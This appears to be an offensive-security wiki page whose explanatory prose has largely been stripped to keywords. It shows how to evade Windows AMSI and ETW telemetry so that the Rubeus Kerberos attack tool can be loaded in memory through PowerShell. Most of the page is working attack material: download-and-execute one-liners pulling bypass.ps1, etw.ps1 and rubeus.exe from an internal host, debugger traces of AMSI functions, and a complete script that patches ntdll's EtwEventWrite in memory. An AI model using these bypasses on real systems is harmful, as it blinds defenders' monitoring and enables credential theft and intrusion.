

# Windows

Windows (ETW) .NET IoC

.NET Microsoft-Windows-DotNETRuntime AssemblyLoad .NET Rubeus.exe

```
$data=( new- object System. Net. WebClient). DownloadData( ' http://192.168.0.45:443/rubeus. exe' )
$assembly=[ System. Reflection. Assembly]:: Load( $data)
```

AMSI .NET AMSI

```
PS C:\Users\Administrator> $data=(new-object System.Net.WebClient).DownloadData('http://192.168.0.45:443/rubeus.exe')
PS C:\Users\Administrator> $assembly=[System.Reflection.Assembly]::Load($data)
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '445952 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."
At line:1 char:1
+ $assembly=[System.Reflection.Assembly]::Load($data)
+ ~~~~~~
+ CategoryInfo          : NotSpecified: () [], MethodInvocationException
+ FullyQualifiedErrorId : BadImageFormatException
```

AmsiScanBuffer AMSI .NET Rubeus

```
PS C:\Users\Administrator> iex(new-object net.webclient).downloadstring('http://192.168.0.45:443/bypass.ps1')
True
PS C:\Users\Administrator> $data=(new-object System.Net.WebClient).DownloadData('http://192.168.0.45:443/rubeus.exe')
PS C:\Users\Administrator> $assembly=[System.Reflection.Assembly]::Load($data)
PS C:\Users\Administrator>
```

ETW AmsiInitialize AmsiOpenSession WinDBG Power

```
amsi! AmsiInitialize
amsi! AmsiOpenSession
amsi! AmsiScanBuffer
clr! AmsiScan
```

"invoke-mimikatz" AmsiOpenSession AmsiScanbuffer AmsiInitialize AmsiScan

```
0:025> g
Breakpoint 1 hit
amsi!AmsiOpenSession:
00007ff9`0aa78200 4885d2      test    rdx,rdx
0:025> g
Breakpoint 2 hit
amsi!AmsiScanBuffer:
00007ff9`0aa78260 4c8bdc      mov     r11,rspl
```

```

0:026> g
Breakpoint 1 hit
amsi!AmsiOpenSession:
00007ff9`0aa78200 4885d2      test    rdx,rdx
0:026> g
Breakpoint 2 hit
amsi!AmsiScanBuffer:
00007ff9`0aa78260 4c8bdc      mov     r11,rsp
0:026> g
Breakpoint 3 hit
clr!AmsiScan:
00007ff8`fdffbc94 48895c2408  mov     qword ptr [rsp+8],rbx ss:000000b8`bc58d700=0000021c3e361f00
0:026> g
Breakpoint 0 hit
amsi!AmsiInitialize:
00007ff9`0aa72e00 48895c2410  mov     qword ptr [rsp+10h],rbx ss:000000b8`bc58d678={amsi!AmsiInitialize (00007ff9`0aa72e00)}
0:026> g
Breakpoint 2 hit
amsi!AmsiScanBuffer:
00007ff9`0aa78260 4c8bdc      mov     r11,rsp

```

**clr.dll AmsiScan****AmsiInitialize AmsiScan****AmsiOpenSession**

```

push 800h          ; dwFlags
push 0             ; void *
push offset aAmsiDll ; "amsi.dll"
call ?CLRLoadLibraryEx@YGP@UHINSTANCE__@@PBGPAXK@Z ; CLRLoadLibraryEx(ushort const *,void *,ulong)
mov ebx, eax
test ebx, ebx
jz loc_104079F7

push offset aAmsiInitialize ; "AmsiInitialize"
push ebx                ; hModule
call ds: __imp_GetProcAddress@8 ; GetProcAddress(x,x)
mov [ebp+var_18], eax
mov ?AmsiInitialize@3P6GJPBGPAPAUHAMSICONTEXT__@@ZA, eax ; long (*AmsiInitialize)(ushort const *,HAMSICONTEXT__ * *)
test eax, eax
jz loc_104079F7

and [ebp+var_14], 0
lea ecx, [ebp+var_14]
push ecx
push offset aDotnet ; "DotNet"
mov ecx, eax ; this
call ds: __guard_check_icall_fptr ; IsolationImplementation::Com::CReferenceAppId::Format(Windows::Isolation::Rtl::IFormattedOutputStream *)
call [ebp+var_18]
test eax, eax
jnz loc_104079F7

push offset aAmsiscanbuffer ; "AmsiScanBuffer"
push ebx                ; hModule
call ds: __imp_GetProcAddress@8 ; GetProcAddress(x,x)
mov ebx, [ebp+var_10]
mov ?AmsiScanBuffer@3P6GJPAUHAMSICONTEXT__@@PAXKPBGPAUHAMSISSESSION__@@PAK@ZA, eax ; long (*AmsiScanBuffer)(HAMSICONTEXT__ *,void *,ulong,usl
test eax, eax
jz short loc_10407952

```

The screenshot shows two windows from the Process Hacker debugger. The top window displays assembly code for the `__guard_check_icall_fptr` function, which is part of the `IsolationImplementation::Com::CReferenceAppId::Format` method. The bottom window shows a smaller assembly snippet involving `eax`, `[ebp+var_20]`, and a jump condition `jnb short loc_104079FF`.

```

mov    esi, ?AmsiScanBuffer@@3P6GJPAUHAMSICONTEXT__@@PAXKPBGAUHAMSISSESSION__@@PAK@ZA ; long (*AmsiScanBuffer)(HAMSICONTEXT*, void*, ulong, ushort const*, HAMSISSESSION*, ulong*)
lea    ecx, [ebp+var_20]
push  ecx
push  0
push  0
push  ebx
push  [ebp+var_1C]
mov    ecx, esi      ; this
push  eax
call  ds:__guard_check_icall_fptr ; IsolationImplementation::Com::CReferenceAppId::Format(Windows::Isolation::Rtl::_FormatString, void*, ulong, ushort const*, HAMSISSESSION*, ulong*)
call  esi ; long (*AmsiScanBuffer)(HAMSICONTEXT*, void*, ulong, ushort const*, HAMSISSESSION*, ulong*)
test  eax, eax
jnz   short loc_104079AB

mov    eax, [ebp+var_20]
cmp    eax, 8000h
jnb   short loc_104079FF

```

AmsiInitSystem.Management.Automation PowerShell .NET  
AmsiScan

AMSI Rubeus ProcessHacker IoC PowerShell .NET assemblies Rubeus ETW

General	Statistics	Performance	Threads	Token	Modules	Memory	Environment	Handles	.NET assemblies	.NET performance	GPU	Disk and Network	Comment
Structure									ID	Flags	Path		
CLR v4.0.30319.0									8	LOADER_OPTIMIZATI...			
AppDomain: DefaultDomain									19719...	Default, Executable			
Anonymously Hosted DynamicMethod...									19723...	Dynamic	Anonymously Hosted DynamicMethods Assembly		
Microsoft.PowerShell.PSReadLine									19723...		C:\Program Files\WindowsPowerShell\Modules\PSReadLine\2.0.0\Microsoft.PowerShell...		
ReflectedDelegate									19723...	Dynamic	ReflectedDelegate		
Rubeus									19723...		Rubeus		
AppDomain: SharedDomain									14070...	Shared			
Microsoft.Management.Infrastructure									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.Management.Infrastuct...		
Microsoft.PowerShell.Commands.Utility									19723...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.U...		
Microsoft.PowerShell.ConsoleHost									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost...		
Microsoft.PowerShell.Security									19723...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4...		
mscorlib									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c5619		
System									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561		
System.Configuration									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0...		
System.Configuration.Install									19723...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration.Install\v4.0_...		
System.Core									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a:		
System.Data									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c5		
System.DirectoryServices									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0...		
System.Management									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0...		
System.Management.Automation									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_...		
System.Numerics									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b...		
System.Transactions									19723...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__...		
System.Xml									19719...	DomainNeutral, Native	C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c5		

ETW nt!NtSd! EtwEventWrite

ULONG  
EVNTAPI  
EtwEventWrite(  
    in REGHANDLE RegHandle,

```

__in PCEVENT_DESCRIPTOR EventDescriptor,
__in ULONG UserDataCount,
__in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData
);

```

## ETW PowerShell

```

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
            Equals('System.dll') })
    $tmp=@()
    $assem.GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @($assem.GetMethod('GetModuleHandle')).Invoke($null,
        $($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]]
        $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
        DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
        DefineDynamicModule('InMemoryModule', $false).
        DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
        AutoClass', [System.MulticastDelegate])

    $type.
        DefineConstructor('RTSpecialName, HideBySig, Public',
        [System.Reflection.CallingConventions]::Standard, $func).
        SetImplementationFlags('Runtime, Managed')

    $type.
        DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
        $func). SetImplementationFlags('Runtime, Managed')
}

```

```

    return $type.CreateType()
}

[IntPtr]$funcAddr = LookupFunc ntdll.dll EtwEventWrite
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc
kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32],
[UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8, 0x34, 0x12, 0x07, 0x80, 0x66, 0xb8, 0x32, 0x00, 0xb0, 0x57, 0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)

```

EtwEventWrite .NET assemblies

```
PS C:\Users\Administrator> iex(new-object net.webclient).downloadstring('http://192.168.0.45:443/etw.ps1')
True
```

.NET performance		GPU		Disk and Network		Comment			
General	Statistics	Performance	Threads	Token	Modules	Memory	Environment	Handles	.NET assemblies
Structure		ID Flags		Path		Unable to start the event tracing session: This operation returned because the timeout period expired.			

Revision #5  
Created 20 September 2022 13:37:54 by  
Updated 24 March 2024 15:18:01 by